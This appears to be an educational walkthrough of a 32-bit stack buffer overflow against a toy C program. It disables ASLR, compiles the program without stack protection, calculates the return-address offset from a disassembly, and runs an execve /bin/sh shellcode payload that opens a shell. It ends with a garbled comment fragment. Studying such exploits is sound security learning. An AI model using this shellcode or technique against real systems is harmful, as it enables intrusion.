0. Turn ASLR off
To do it easily, we can disable ASLR. In real world exploit, we will need to brute force the address as the address is randomized.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
1. Compilation
ammarfaizi2@integral:~/ex/exp$ cat my_program.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func(char *arg)
{
char name[32];
strcpy(name, arg);
printf("\nHello %s \n\n", name);
}
int main(int argc, char *argv[])
{
if (argc != 2) {
printf("Usage: %s NAME \n", argv[0]);
exit(0);
}
func(argv[1]);
printf("End of program \n\n");
return 0;
}
ammarfaizi2@integral:~/ex/exp$ gcc -fno-stack-protector -zexecstack -m32 my_program.c -o my_program
ammarfaizi2@integral:~/ex/exp$
2. Calculating Offset
0000122d <func>:
122d: f3 0f 1e fb endbr32
1231: 55 push %ebp
1232: 89 e5 mov %esp,%ebp
/*
*
* At this point, we know what return address is located at
* 0x4(%ebp).
*
*/
1234: 53 push %ebx
1235: 83 ec 24 sub $0x24,%esp
1238: e8 f3 fe ff ff call 1130 <__x86.get_pc_thunk.bx>
123d: 81 c3 8f 2d 00 00 add $0x2d8f,%ebx
1243: 83 ec 08 sub $0x8,%esp
1246: ff 75 08 push 0x8(%ebp)
1249: 8d 45 d8 lea -0x28(%ebp),%eax
124c: 50 push %eax
124d: e8 5e fe ff ff call 10b0 <strcpy@plt>
/*
*
* At this point, we know that the command line argument
* is copied to -0x28(%ebp)
*
*/
1252: 83 c4 10 add $0x10,%esp
1255: 83 ec 08 sub $0x8,%esp
1258: 8d 45 d8 lea -0x28(%ebp),%eax
125b: 50 push %eax
125c: 8d 83 3c e0 ff ff lea -0x1fc4(%ebx),%eax
1262: 50 push %eax
1263: e8 38 fe ff ff call 10a0 <printf@plt>
1268: 83 c4 10 add $0x10,%esp
126b: 90 nop
126c: 8b 5d fc mov -0x4(%ebp),%ebx
126f: c9 leave
1270: c3 ret
- To overwrite return address from
-0x28(%ebp), we need to write 0x4 - (-0x28) bytes (44 bytes).
- We have 23 bytes shell code.
- We need 21 bytes padding to make our payload be 44 bytes to reach return address.
- We need 4 bytes malicious return address, we take
\x11\x11\x11\x11 at the moment, as we don't yet know.
Test Execute
ammarfaizi2@integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x21,"\x11\x11\x11\x11"')
Hello 1�Ph//shh/bin��PS��
AAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
ammarfaizi2@integral:~/ex/exp$ dmesg | tail -n 2
[56448.175467] my_program[117895]: segfault at 11111111 ip 0000000011111111 sp 00000000ffffd3c0 error 14 in my_program[56555000+1000]
[56448.175493] Code: Bad RIP value.
ammarfaizi2@integral:~/ex/exp$
At this point we have been able to overwrite EIP value. So the next is to find the shell code address.
3. Finding Shell Code Address
Notice that segfault happens when the leave and ret undo the esp value. So we need to find how many bytes is subtracted when func stack frame is created.
Notice how esp changes
; From main function
call func ; -4 bytes
; Setup stack frame
push %ebp ; -4 bytes
mov %esp,%ebp ; At this point %ebp = %esp
We undo -8 bytes, and our shell code is located -0x28(%ebp). So we have -48 bytes total.
Last segfault is at SP = 0xffffd3c0
Hence target return address is 0xffffd3c0 - 48 = 0xffffd390.
4. Execute Exploit
Notice that x86 is little endian byte order, so we need to reverse our payload (by byte).
ffffd390 we write it as \x90\xd3\xff\xff.
- So Replace
\x11\x11\x11\x11 with \x90\xd3\xff\xff
ammarfaizi2@integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x21,"\x90\xd3\xff\xff"')
Hello 1�Ph//shh/bin��PS��
AAAAAAAAAAAAAAAAAAAAA����
$ date
Sat Apr 3 14:47:02 WIB 2021
$ whoami
ammarfaizi2
$ exit
ammarfaizi2@integral:~/ex/exp$
chararray and pass this tofuncinstead of usingargv[1]. - Bodo